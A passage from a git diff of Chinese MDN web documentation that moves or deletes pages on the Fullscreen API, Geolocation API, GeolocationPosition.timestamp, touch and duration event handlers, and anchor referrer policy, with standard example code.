当成功进入全屏模式时,包含该元素的文档会收到一个 {{Event("fullscreenchange")}} 事件。当退出全屏模式时,文档会再一次收到 {{Event("fullscreenchange")}} 事件。注意此 {{Event("fullscreenchange")}} 事件,不管在文档进入和退出全屏模式时,都不会提供任何信息,但如果文档的 {{DOMxRef("document.fullscreenElement", "fullscreenElement")}} 为非空(`null`),即处于全屏模式中。

- -

当全屏请求失败时

- -

你并不总是可以进入全屏模式。例如 {{HTMLElement("iframe")}} 元素具有 {{HTMLAttrXRef("allowfullscreen", "iframe")}} 属性,可选择是否将其内容以全屏模式显示。另外,几种特定的内容,比如窗体插件(windowed plug-ins),不能以全屏模式显示。尝试将不能以全屏模式显示的元素(或者此元素的父元素和后代元素)的时候,全屏请求是无效的。而相应元素会收到一个 mozfullscreenerror 事件。当全屏请求失败时,Firefox 会在 Web 控制台上打一条错误信息解释请求为什么失败。但是在 Chrome 和新版的 Opera 中,不会生成这样的警告。

- -
-

注意:全屏请求必须在事件处理函数中调用,否则将会被拒绝。 

-
- -

退出全屏模式

- -

 

- -

用户总是可以自行退出全屏模式;详见 {{Anch("Things your users want to know")}}。你也可以以编程方式通过调用 {{DOMxRef("Document.exitFullscreen()")}} 方法来做到这点。

- -

其他信息

- -

{{DOMxRef("Document")}} 提供了一些额外的信息, 在开发全屏网络应用时会很有用:

- -
-
{{DOMxRef("DocumentOrShadowRoot.fullscreenElement")}}
-
fullscreenElement 属性可以告诉你当前以全屏模式显示的元素 {{DOMxRef("Element")}} 。若此项非空,文档处于全屏模式中,否则不在。
-
{{DOMxRef("Document.fullscreenEnabled")}}
-
fullscreenEnabled 属性可以告诉你文档当前是否为允许请求进入全屏幕模式的状态。
-
- -

你的用户想了解的信息

- -

你可能想确保使你的用户得知他可以按 ESC  键(或 F11) 退出全屏模式。

- -

此外,当处在全屏模式中,浏览其他页面、切换标签页、或者切换到其他应用 (例如使用 Alt-Tab)  也会导致退出全屏模式。

- -

示例

- -

在这个例子中,网页中显示了一个视频。按下 Return 或 Enter 键让用户在视频的窗口显示和全屏显示之间切换。

- -

View Live Examples

- -

监听 Enter 键

- -

当页面加载完成时,这段代码可以设置一个事件监听器以监听 Enter 键。

- -
document.addEventListener("keydown", function(e) {
-  if (e.keyCode == 13) {
-    toggleFullScreen();
-  }
-}, false);
-
- -

切换全屏模式

- -

当用户按下 Enter 键时,这段代码会被调用,像上面示例看到的那样。

- -
function toggleFullScreen() {
-  if (!document.fullscreenElement) {
-    document.documentElement.requestFullscreen();
-  } else {
-    if (document.exitFullscreen) {
-      document.exitFullscreen();
-    }
-  }
-}
- -

这段代码首先检查 {{DOMxRef("document")}} 的fullscreenElement 属性的值(亦要检查带有前缀 mozmswebkit)。如果其为 null,文档当前处于窗口模式中,所以我们需要切换到全屏模式。通过调用{{DOMxRef("element.requestFullscreen()")}},可以切换到全屏模式。

- -

如果全屏模式已经激活 (fullscreenElement 不为 null),我们可以调用 {{DOMxRef("document.exitFullscreen()")}}(或其前缀化的版本,这取决于你使用的浏览器)。

- -

前缀

- -
-

注意:现在,只有 Firefox 64 和 Chrome 71 支持无前缀。

-
- -

目前并不是所有的浏览器都实现了 API 的无前缀版本(你可以使用 Fscreen 获取跨浏览器全屏API),这里有一份表格总结了前缀和它们之间的命名区别:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
StandardWebKit (Safari) / Blink (Chrome & Opera) / EdgeGecko (Firefox)Internet Explorer
{{DOMxRef("Document.fullscreen")}} {{Deprecated_Inline}}webkitIsFullScreenmozFullScreen-
{{DOMxRef("Document.fullscreenEnabled")}}webkitFullscreenEnabledmozFullScreenEnabledmsFullscreenEnabled
{{DOMxRef("DocumentOrShadowRoot.fullscreenElement")}}webkitFullscreenElementmozFullScreenElementmsFullscreenElement
{{DOMxRef("Document.onfullscreenchange")}}onwebkitfullscreenchangeonmozfullscreenchangeonMSFullscreenChange
{{DOMxRef("Document.onfullscreenerror")}}onwebkitfullscreenerroronmozfullscreenerroronMSFullscreenError
{{DOMxRef("Document.exitFullscreen()")}}webkitExitFullscreen()mozCancelFullScreen()msExitFullscreen()
{{DOMxRef("Element.requestFullscreen()")}}webkitRequestFullscreen()mozRequestFullScreen()msRequestFullscreen()
- -

规范

- - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName("Fullscreen")}}{{Spec2("Fullscreen")}}初始版本
- -

浏览器兼容性

- -

Document.fullscreen

- -
- - -

{{Compat("api.Document.fullscreen")}}

- -

Document.fullscreenEnabled

- -
- - -

{{Compat("api.Document.fullscreenEnabled")}}

-
-
- -

扩展链接

- - - -

 

diff --git a/files/zh-cn/web/api/geolocation/using_geolocation/index.html b/files/zh-cn/web/api/geolocation/using_geolocation/index.html deleted file mode 100644 index 54d8665516..0000000000 --- a/files/zh-cn/web/api/geolocation/using_geolocation/index.html +++ /dev/null @@ -1,303 +0,0 @@ ---- -title: 使用地理位置定位 -slug: Web/API/Geolocation/Using_geolocation -tags: - - 地理位置 API - - 指南 -translation_of: Web/API/Geolocation_API ---- -

地理位置 API 允许用户向 Web 应用程序提供他们的位置。出于隐私考虑,报告地理位置前会先请求用户许可。

- -

geolocation 对象

- -

地理位置 API 通过 {{domxref("NavigatorGeolocation.geolocation","navigator.geolocation")}} 提供。

- -

如果该对象存在,那么地理位置服务可用。

- -
if ("geolocation" in navigator) {
-  /* 地理位置服务可用 */
-} else {
-  /* 地理位置服务不可用 */
-}
-
- -
-

注意: 在 Firefox 24 和之前的浏览器中,即使 API 被禁止,代码 "geolocation" in navigator 也总是会得到 true。这在 Firefox 25 中已经被修复 ({{ bug(884921) }})。

-
- -

获取当前定位

- -

您可以调用 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 函数获取用户当前定位位置。这会异步地请求获取用户位置,并查询定位硬件来获取最新信息。当定位被确定后,定义的回调函数就会被执行。您可以选择性地提供第二个回调函数,当有错误时会被执行。第三个参数也是可选的,您可以通过该对象参数设定最长可接受的定位返回时间、等待请求的时间和是否获取高精度定位。

- -
-

注意: 默认情况下,{{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 会尽快返回一个低精度结果,这在您不关心准确度只关心快速获取结果的情况下很有用。有 GPS 的设备可能需要一分钟或更久来获取 GPS 定位,在这种情况下 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 会返回低精度数据(基于 IP 的定位或 Wi-Fi 定位)。

-
- -
navigator.geolocation.getCurrentPosition(function(position) {
-  do_something(position.coords.latitude, position.coords.longitude);
-});
- -

上述示例中,当获取位置后 do_something() 函数会被执行。

- -

监视定位

- -

您可以设定一个回调函数来响应定位数据发生的变更(设备发生了移动,或获取到了更高精度的地理位置信息)。您可以通过 {{domxref("Geolocation.watchPosition","watchPosition()")}} 函数实现该功能。它与 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 接受相同的参数,但回调函数会被调用多次。错误回调函数与 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 中一样是可选的,也会被多次调用。

- -
-

注意: 您可以直接调用 {{domxref("Geolocation.watchPosition","watchPosition()")}} 函数,不需要先调用 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 函数。

-
- -
var watchID = navigator.geolocation.watchPosition(function(position) {
-  do_something(position.coords.latitude, position.coords.longitude);
-});
- -

{{domxref("Geolocation.watchPosition","watchPosition()")}} 函数会返回一个 ID,唯一地标记该位置监视器。您可以将这个 ID 传给 {{domxref("Geolocation.clearWatch()","clearWatch()")}} 函数来停止监视用户位置。

- -
navigator.geolocation.clearWatch(watchID);
-
- -

调整返回结果

- -

{{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 和 {{domxref("Geolocation.watchPosition","watchPosition()")}} 都接受一个成功回调、一个可选的失败回调和一个可选的 PositionOptions 对象。

- -

{{page("/zh-CN/docs/Web/API/Geolocation.getCurrentPosition","PositionOptions")}}

- -

对 {{domxref("Geolocation.watchPosition()","watchPosition")}} 的调用类似于这样:

- -
function geo_success(position) {
-  do_something(position.coords.latitude, position.coords.longitude);
-}
-
-function geo_error() {
-  alert("Sorry, no position available.");
-}
-
-var geo_options = {
-  enableHighAccuracy: true,
-  maximumAge        : 30000,
-  timeout           : 27000
-};
-
-var wpid = navigator.geolocation.watchPosition(geo_success, geo_error, geo_options);
- -

watchPosition 实际使用示例: http://www.thedotproduct.org/experiments/geo/

- -

描述位置

- -

用户的位置由一个包含 Coordinates 对象的 Position 对象描述。

- -

{{page("/zh-CN/docs/Web/API/Geolocation.getCurrentPosition","Position")}}

- -

{{page("/zh-CN/docs/Web/API/Geolocation.getCurrentPosition","Coordinates")}}

- -

处理错误

- -

getCurrentPosition()watchPosition() 的错误回调函数以 PositionError 为第一个参数。

- -
function errorCallback(error) {
-  alert('ERROR(' + error.code + '): ' + error.message);
-};
-
- -

{{page("/zh-CN/docs/Web/API/Geolocation.getCurrentPosition","PositionError")}}

- -

地理位置示例

- - - -

HTML

- -
<p><button onclick="geoFindMe()">Show my location</button></p>
-<div id="out"></div>
- -

 

- -
 
- -

JavaScript

- -
function geoFindMe() {
-  var output = document.getElementById("out");
-
-  if (!navigator.geolocation){
-    output.innerHTML = "<p>您的浏览器不支持地理位置</p>";
-    return;
-  }
-
-  function success(position) {
-    var latitude  = position.coords.latitude;
-    var longitude = position.coords.longitude;
-
-    output.innerHTML = '<p>Latitude is ' + latitude + '° <br>Longitude is ' + longitude + '°</p>';
-
-    var img = new Image();
-    img.src = "http://maps.googleapis.com/maps/api/staticmap?center=" + latitude + "," + longitude + "&zoom=13&size=300x300&sensor=false";
-
-    output.appendChild(img);
-  };
-
-  function error() {
-    output.innerHTML = "无法获取您的位置";
-  };
-
-  output.innerHTML = "<p>Locating…</p>";
-
-  navigator.geolocation.getCurrentPosition(success, error);
-}
-
- -

在线示例

- -

{{ EmbedLiveSample('Geolocation_Live_Example',350,410) }}

- -

授权请求

- -

所有 addons.mozilla.org 上需要使用地理位置的插件必须在使用 API 前显式地请求权限。用户的响应将会存储在 pref 参数指定的偏好设置中。callback 参数指定的函数会被调用并包含一个代表用户响应的 boolean 参数。如果为 true,代表插件可以访问地理位置数据。

- -
function prompt(window, pref, message, callback) {
-    let branch = Components.classes["@mozilla.org/preferences-service;1"]
-                           .getService(Components.interfaces.nsIPrefBranch);
-
-    if (branch.getPrefType(pref) === branch.PREF_STRING) {
-        switch (branch.getCharPref(pref)) {
-        case "always":
-            return callback(true);
-        case "never":
-            return callback(false);
-        }
-    }
-
-    let done = false;
-
-    function remember(value, result) {
-        return function() {
-            done = true;
-            branch.setCharPref(pref, value);
-            callback(result);
-        }
-    }
-
-    let self = window.PopupNotifications.show(
-        window.gBrowser.selectedBrowser,
-        "geolocation",
-        message,
-        "geo-notification-icon",
-        {
-            label: "Share Location",
-            accessKey: "S",
-            callback: function(notification) {
-                done = true;
-                callback(true);
-            }
-        }, [
-            {
-                label: "Always Share",
-                accessKey: "A",
-                callback: remember("always", true)
-            },
-            {
-                label: "Never Share",
-                accessKey: "N",
-                callback: remember("never", false)
-            }
-        ], {
-            eventCallback: function(event) {
-                if (event === "dismissed") {
-                    if (!done) callback(false);
-                    done = true;
-                    window.PopupNotifications.remove(self);
-                }
-            },
-            persistWhileVisible: true
-        });
-}
-
-prompt(window,
-       "extensions.foo-addon.allowGeolocation",
-       "Foo Add-on wants to know your location.",
-       function callback(allowed) { alert(allowed); });
-
- -

浏览器兼容性

- -
{{ CompatibilityTable() }}
- -
 
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5{{CompatGeckoDesktop("1.9.1")}}910.60
- Removed in 15.0
- Reintroduced in 16.0
5
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown()}}{{CompatUnknown()}}{{CompatGeckoMobile("4")}}1.0.1{{CompatUnknown()}}10.60
- Removed in 15.0
- Reintroduced in 16.0
{{CompatUnknown()}}
-
- -

Gecko 注释

- -

Firefox 支持根据您的 Wi-Fi 信息通过谷歌定位服务来定位。在 Firefox 和 Google 的数据交互中,Wi-Fi 接入点信息、访问令牌(类似于一个两周过期的 cookie)和用户的 IP 地址会被发送。关于数据使用情况,请查看 Mozilla 的隐私声明和 Google 的隐私声明

- -

Firefox 3.6 (Gecko 1.9.2) 增加了 Linux 上对 GPSD (GPS daemon) 服务定位的支持。

- -

另请参阅

- - diff --git a/files/zh-cn/web/api/geolocation_api/index.html b/files/zh-cn/web/api/geolocation_api/index.html new file mode 100644 index 0000000000..54d8665516 --- /dev/null +++ b/files/zh-cn/web/api/geolocation_api/index.html @@ -0,0 +1,303 @@ +--- +title: 使用地理位置定位 +slug: Web/API/Geolocation/Using_geolocation +tags: + - 地理位置 API + - 指南 +translation_of: Web/API/Geolocation_API +--- +

地理位置 API 允许用户向 Web 应用程序提供他们的位置。出于隐私考虑,报告地理位置前会先请求用户许可。

+ +

geolocation 对象

+ +

地理位置 API 通过 {{domxref("NavigatorGeolocation.geolocation","navigator.geolocation")}} 提供。

+ +

如果该对象存在,那么地理位置服务可用。

+ +
if ("geolocation" in navigator) {
+  /* 地理位置服务可用 */
+} else {
+  /* 地理位置服务不可用 */
+}
+
+ +
+

注意: 在 Firefox 24 和之前的浏览器中,即使 API 被禁止,代码 "geolocation" in navigator 也总是会得到 true。这在 Firefox 25 中已经被修复 ({{ bug(884921) }})。

+
+ +

获取当前定位

+ +

您可以调用 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 函数获取用户当前定位位置。这会异步地请求获取用户位置,并查询定位硬件来获取最新信息。当定位被确定后,定义的回调函数就会被执行。您可以选择性地提供第二个回调函数,当有错误时会被执行。第三个参数也是可选的,您可以通过该对象参数设定最长可接受的定位返回时间、等待请求的时间和是否获取高精度定位。

+ +
+

注意: 默认情况下,{{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 会尽快返回一个低精度结果,这在您不关心准确度只关心快速获取结果的情况下很有用。有 GPS 的设备可能需要一分钟或更久来获取 GPS 定位,在这种情况下 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 会返回低精度数据(基于 IP 的定位或 Wi-Fi 定位)。

+
+ +
navigator.geolocation.getCurrentPosition(function(position) {
+  do_something(position.coords.latitude, position.coords.longitude);
+});
+ +

上述示例中,当获取位置后 do_something() 函数会被执行。

+ +

监视定位

+ +

您可以设定一个回调函数来响应定位数据发生的变更(设备发生了移动,或获取到了更高精度的地理位置信息)。您可以通过 {{domxref("Geolocation.watchPosition","watchPosition()")}} 函数实现该功能。它与 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 接受相同的参数,但回调函数会被调用多次。错误回调函数与 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 中一样是可选的,也会被多次调用。

+ +
+

注意: 您可以直接调用 {{domxref("Geolocation.watchPosition","watchPosition()")}} 函数,不需要先调用 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 函数。

+
+ +
var watchID = navigator.geolocation.watchPosition(function(position) {
+  do_something(position.coords.latitude, position.coords.longitude);
+});
+ +

{{domxref("Geolocation.watchPosition","watchPosition()")}} 函数会返回一个 ID,唯一地标记该位置监视器。您可以将这个 ID 传给 {{domxref("Geolocation.clearWatch()","clearWatch()")}} 函数来停止监视用户位置。

+ +
navigator.geolocation.clearWatch(watchID);
+
+ +

调整返回结果

+ +

{{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 和 {{domxref("Geolocation.watchPosition","watchPosition()")}} 都接受一个成功回调、一个可选的失败回调和一个可选的 PositionOptions 对象。

+ +

{{page("/zh-CN/docs/Web/API/Geolocation.getCurrentPosition","PositionOptions")}}

+ +

对 {{domxref("Geolocation.watchPosition()","watchPosition")}} 的调用类似于这样:

+ +
function geo_success(position) {
+  do_something(position.coords.latitude, position.coords.longitude);
+}
+
+function geo_error() {
+  alert("Sorry, no position available.");
+}
+
+var geo_options = {
+  enableHighAccuracy: true,
+  maximumAge        : 30000,
+  timeout           : 27000
+};
+
+var wpid = navigator.geolocation.watchPosition(geo_success, geo_error, geo_options);
+ +

watchPosition 实际使用示例: http://www.thedotproduct.org/experiments/geo/

+ +

描述位置

+ +

用户的位置由一个包含 Coordinates 对象的 Position 对象描述。

+ +

{{page("/zh-CN/docs/Web/API/Geolocation.getCurrentPosition","Position")}}

+ +

{{page("/zh-CN/docs/Web/API/Geolocation.getCurrentPosition","Coordinates")}}

+ +

处理错误

+ +

getCurrentPosition()watchPosition() 的错误回调函数以 PositionError 为第一个参数。

+ +
function errorCallback(error) {
+  alert('ERROR(' + error.code + '): ' + error.message);
+};
+
+ +

{{page("/zh-CN/docs/Web/API/Geolocation.getCurrentPosition","PositionError")}}

+ +

地理位置示例

+ + + +

HTML

+ +
<p><button onclick="geoFindMe()">Show my location</button></p>
+<div id="out"></div>
+ +

 

+ +
 
+ +

JavaScript

+ +
function geoFindMe() {
+  var output = document.getElementById("out");
+
+  if (!navigator.geolocation){
+    output.innerHTML = "<p>您的浏览器不支持地理位置</p>";
+    return;
+  }
+
+  function success(position) {
+    var latitude  = position.coords.latitude;
+    var longitude = position.coords.longitude;
+
+    output.innerHTML = '<p>Latitude is ' + latitude + '° <br>Longitude is ' + longitude + '°</p>';
+
+    var img = new Image();
+    img.src = "http://maps.googleapis.com/maps/api/staticmap?center=" + latitude + "," + longitude + "&zoom=13&size=300x300&sensor=false";
+
+    output.appendChild(img);
+  };
+
+  function error() {
+    output.innerHTML = "无法获取您的位置";
+  };
+
+  output.innerHTML = "<p>Locating…</p>";
+
+  navigator.geolocation.getCurrentPosition(success, error);
+}
+
+ +

在线示例

+ +

{{ EmbedLiveSample('Geolocation_Live_Example',350,410) }}

+ +

授权请求

+ +

所有 addons.mozilla.org 上需要使用地理位置的插件必须在使用 API 前显式地请求权限。用户的响应将会存储在 pref 参数指定的偏好设置中。callback 参数指定的函数会被调用并包含一个代表用户响应的 boolean 参数。如果为 true,代表插件可以访问地理位置数据。

+ +
function prompt(window, pref, message, callback) {
+    let branch = Components.classes["@mozilla.org/preferences-service;1"]
+                           .getService(Components.interfaces.nsIPrefBranch);
+
+    if (branch.getPrefType(pref) === branch.PREF_STRING) {
+        switch (branch.getCharPref(pref)) {
+        case "always":
+            return callback(true);
+        case "never":
+            return callback(false);
+        }
+    }
+
+    let done = false;
+
+    function remember(value, result) {
+        return function() {
+            done = true;
+            branch.setCharPref(pref, value);
+            callback(result);
+        }
+    }
+
+    let self = window.PopupNotifications.show(
+        window.gBrowser.selectedBrowser,
+        "geolocation",
+        message,
+        "geo-notification-icon",
+        {
+            label: "Share Location",
+            accessKey: "S",
+            callback: function(notification) {
+                done = true;
+                callback(true);
+            }
+        }, [
+            {
+                label: "Always Share",
+                accessKey: "A",
+                callback: remember("always", true)
+            },
+            {
+                label: "Never Share",
+                accessKey: "N",
+                callback: remember("never", false)
+            }
+        ], {
+            eventCallback: function(event) {
+                if (event === "dismissed") {
+                    if (!done) callback(false);
+                    done = true;
+                    window.PopupNotifications.remove(self);
+                }
+            },
+            persistWhileVisible: true
+        });
+}
+
+prompt(window,
+       "extensions.foo-addon.allowGeolocation",
+       "Foo Add-on wants to know your location.",
+       function callback(allowed) { alert(allowed); });
+
+ +

浏览器兼容性

+ +
{{ CompatibilityTable() }}
+ +
 
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5{{CompatGeckoDesktop("1.9.1")}}910.60
+ Removed in 15.0
+ Reintroduced in 16.0
5
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown()}}{{CompatUnknown()}}{{CompatGeckoMobile("4")}}1.0.1{{CompatUnknown()}}10.60
+ Removed in 15.0
+ Reintroduced in 16.0
{{CompatUnknown()}}
+
+ +

Gecko 注释

+ +

Firefox 支持根据您的 Wi-Fi 信息通过谷歌定位服务来定位。在 Firefox 和 Google 的数据交互中,Wi-Fi 接入点信息、访问令牌(类似于一个两周过期的 cookie)和用户的 IP 地址会被发送。关于数据使用情况,请查看 Mozilla 的隐私声明和 Google 的隐私声明

+ +

Firefox 3.6 (Gecko 1.9.2) 增加了 Linux 上对 GPSD (GPS daemon) 服务定位的支持。

+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/geolocationposition/timestamp/index.html b/files/zh-cn/web/api/geolocationposition/timestamp/index.html new file mode 100644 index 0000000000..e4c731f868 --- /dev/null +++ b/files/zh-cn/web/api/geolocationposition/timestamp/index.html @@ -0,0 +1,49 @@ +--- +title: GeolocationPosition.timestamp +slug: Web/API/GeolocationPosition/获取该位置时的时间戳 +translation_of: Web/API/GeolocationPosition/timestamp +--- +
{{securecontext_header}}{{APIRef("Geolocation API")}}
+ +

The GeolocationPosition.timestamp read-only property returns a {{domxref("DOMTimeStamp")}} object, represents the date and the time of the creation of the {{domxref("GeolocationPosition")}} object it belongs to. The precision is to the millisecond.

+ +

Syntax

+ +
var timestamp = geolocationPositionInstance.timestamp
+
+ +

Value

+ +

A {{domxref("DOMTimeStamp")}} object instance.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geolocation', '#dom-geolocationposition-timestamp', 'GeolocationPosition.timestamp')}}{{Spec2('Geolocation')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.GeolocationPosition.timestamp")}}

+ +

See also

+ + diff --git "a/files/zh-cn/web/api/geolocationposition/\350\216\267\345\217\226\350\257\245\344\275\215\347\275\256\346\227\266\347\232\204\346\227\266\351\227\264\346\210\263/index.html" "b/files/zh-cn/web/api/geolocationposition/\350\216\267\345\217\226\350\257\245\344\275\215\347\275\256\346\227\266\347\232\204\346\227\266\351\227\264\346\210\263/index.html" deleted file mode 100644 index e4c731f868..0000000000 --- "a/files/zh-cn/web/api/geolocationposition/\350\216\267\345\217\226\350\257\245\344\275\215\347\275\256\346\227\266\347\232\204\346\227\266\351\227\264\346\210\263/index.html" +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: GeolocationPosition.timestamp -slug: Web/API/GeolocationPosition/获取该位置时的时间戳 -translation_of: Web/API/GeolocationPosition/timestamp ---- -
{{securecontext_header}}{{APIRef("Geolocation API")}}
- -

The GeolocationPosition.timestamp read-only property returns a {{domxref("DOMTimeStamp")}} object, represents the date and the time of the creation of the {{domxref("GeolocationPosition")}} object it belongs to. The precision is to the millisecond.

- -

Syntax

- -
var timestamp = geolocationPositionInstance.timestamp
-
- -

Value

- -

A {{domxref("DOMTimeStamp")}} object instance.

- -

Specifications

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Geolocation', '#dom-geolocationposition-timestamp', 'GeolocationPosition.timestamp')}}{{Spec2('Geolocation')}}Initial definition
- -

Browser compatibility

- - - -

{{Compat("api.GeolocationPosition.timestamp")}}

- -

See also

- - diff --git a/files/zh-cn/web/api/globaleventhandlers/globaleventhanders.ontouchmove/index.html b/files/zh-cn/web/api/globaleventhandlers/globaleventhanders.ontouchmove/index.html deleted file mode 100644 index 3bbf3d5ce4..0000000000 --- a/files/zh-cn/web/api/globaleventhandlers/globaleventhanders.ontouchmove/index.html +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: GlobalEventHandlers.ontouchmove -slug: Web/API/GlobalEventHandlers/GlobalEventHanders.ontouchmove -translation_of: Web/API/GlobalEventHandlers/ontouchmove -translation_of_original: Web/API/GlobalEventHandlers/GlobalEventHanders.ontouchmove ---- -
{{ApiRef("HTML DOM")}}
- -

A {{domxref("GlobalEventHandlers","global event handler")}} for the {{event("touchmove")}} event.

- -
-

注意:这个属性还没有正式的标准。它在 {{SpecName('Touch Events 2')}} {{Spec2('Touch Events 2')}} 说明书里被规定且不在 {{SpecName('Touch Events')}} {{Spec2('Touch Events')}}中。这个属性没有被广泛应用。

-
- -

Syntax

- -
var moveHandler = someElement.ontouchmove;
-
- -

Return value

- -
-
moveHandler
-
The touchmove event handler for element someElement.
-
- -

Example

- -

This example shows two ways to use ontouchmove to set an element's touchmove event handler.

- -
<html>
-<script>
-function moveTouch(ev) {
- // Process the event
-}
-function init() {
- var el=document.getElementById("target1");
- el.ontouchmove = moveTouch;
-}
-</script>
-<body onload="init();">
-<div id="target1"> Touch me ... </div>
-<div id="target2" ontouchmove="moveTouch(event)"> Touch me ... </div>
-</body>
-</html>
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Touch Events 2','#widl-GlobalEventHandlers-ontouchmove')}}{{Spec2('Touch Events 2')}}Non-stable version.
- -

Browser compatibility

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support     
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support        
-
- -

See also

- - diff --git a/files/zh-cn/web/api/globaleventhandlers/ondurationchange/index.html b/files/zh-cn/web/api/globaleventhandlers/ondurationchange/index.html new file mode 100644 index 0000000000..2c3923fca9 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/ondurationchange/index.html @@ -0,0 +1,52 @@ +--- +title: GlobalEventHandlers.ondurationchange +slug: Web/API/GlobalEventHandlers/时长改变 +tags: + - API + - Audio + - Video +translation_of: Web/API/GlobalEventHandlers/ondurationchange +--- +
{{ ApiRef("HTML DOM") }}
+ +

{{domxref("GlobalEventHandlers")}} 的ondurationchange属性是一个处理 {{event("durationchange")}} 事件的{{domxref("EventHandler")}} 。

+ +

durationchange事件会在duration发生变更时触发。

+ +

语法

+ +
element.ondurationchange = handlerFunction;
+var handlerFunction = element.ondurationchange;
+
+ +

handlerFunction可以为null也可以是一个处理该事件的JavaScript方法

+ +

规范说明

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','#handler-ondurationchange','ondurationchange')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容

+ + + +

{{Compat("api.GlobalEventHandlers.ondurationchange")}}

+ +

其他

+ + diff --git "a/files/zh-cn/web/api/globaleventhandlers/\346\227\266\351\225\277\346\224\271\345\217\230/index.html" "b/files/zh-cn/web/api/globaleventhandlers/\346\227\266\351\225\277\346\224\271\345\217\230/index.html" deleted file mode 100644 index 2c3923fca9..0000000000 --- "a/files/zh-cn/web/api/globaleventhandlers/\346\227\266\351\225\277\346\224\271\345\217\230/index.html" +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: GlobalEventHandlers.ondurationchange -slug: Web/API/GlobalEventHandlers/时长改变 -tags: - - API - - Audio - - Video -translation_of: Web/API/GlobalEventHandlers/ondurationchange ---- -
{{ ApiRef("HTML DOM") }}
- -

{{domxref("GlobalEventHandlers")}} 的ondurationchange属性是一个处理 {{event("durationchange")}} 事件的{{domxref("EventHandler")}} 。

- -

durationchange事件会在duration发生变更时触发。

- -

语法

- -
element.ondurationchange = handlerFunction;
-var handlerFunction = element.ondurationchange;
-
- -

handlerFunction可以为null也可以是一个处理该事件的JavaScript方法

- -

规范说明

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG','#handler-ondurationchange','ondurationchange')}}{{Spec2('HTML WHATWG')}}
- -

浏览器兼容

- - - -

{{Compat("api.GlobalEventHandlers.ondurationchange")}}

- -

其他

- - diff --git a/files/zh-cn/web/api/htmlanchorelement/referrer/index.html b/files/zh-cn/web/api/htmlanchorelement/referrer/index.html deleted file mode 100644 index b3e30b3fe2..0000000000 --- a/files/zh-cn/web/api/htmlanchorelement/referrer/index.html +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: HTMLAnchorElement.referrer -slug: Web/API/HTMLAnchorElement/referrer -translation_of: Web/API/HTMLAnchorElement/referrerPolicy ---- -
{{APIRef}}{{SeeCompatTable}}
- -

HTMLAnchorElement.referrer 属性对应于 HTML 中 {{HTMLElement("a")}} 标签的 {{htmlattrxref("referrer","a")}} 属性,它可以控制用户在点击这个链接时所发出的 HTTP 请求的 Referer 请求头的值。

- -

语法

- -
refStr = anchorElt.referrer;
-anchorElt.referrer = refStr;
- -

属性值

- -
-
-
    -
  • "no-referrer" 意味着不要发送 Referer 请求头。
  • -
  • "origin"  意味着所发送的 Referer 请求头的值为当前页面的源,即 location.origin 的值。
  • -
  • "unsafe-url" 意味着所发送的 Referrer 请求头的值为当前页面完整的 url(即 location.href)去掉尾部的哈希(即 location.hash)之后的值。正如该选项的名字所言(unsafe),此选项是不安全的,它可以将一个 HTTPS 页面的路径信息透露给第三方。
  • -
-
-
- -

示例

- -
var elt = document.createElement("a");
-var linkText = document.createTextNode("My link");
-elt.appendChild(linkText);
-elt.href = "https://developer.mozilla.org/en-US/";
-elt.referrer = "no-referrer";
-
-var div = document.getElementById("divAround");
-div.appendChild(elt); // 点击该链接接时不会发送 Referer 请求头
-
- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrer attribute')}}{{Spec2('Referrer Policy')}}Added the referrer attribute.
- -

浏览器兼容性

- -
{{CompatibilityTable}} -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
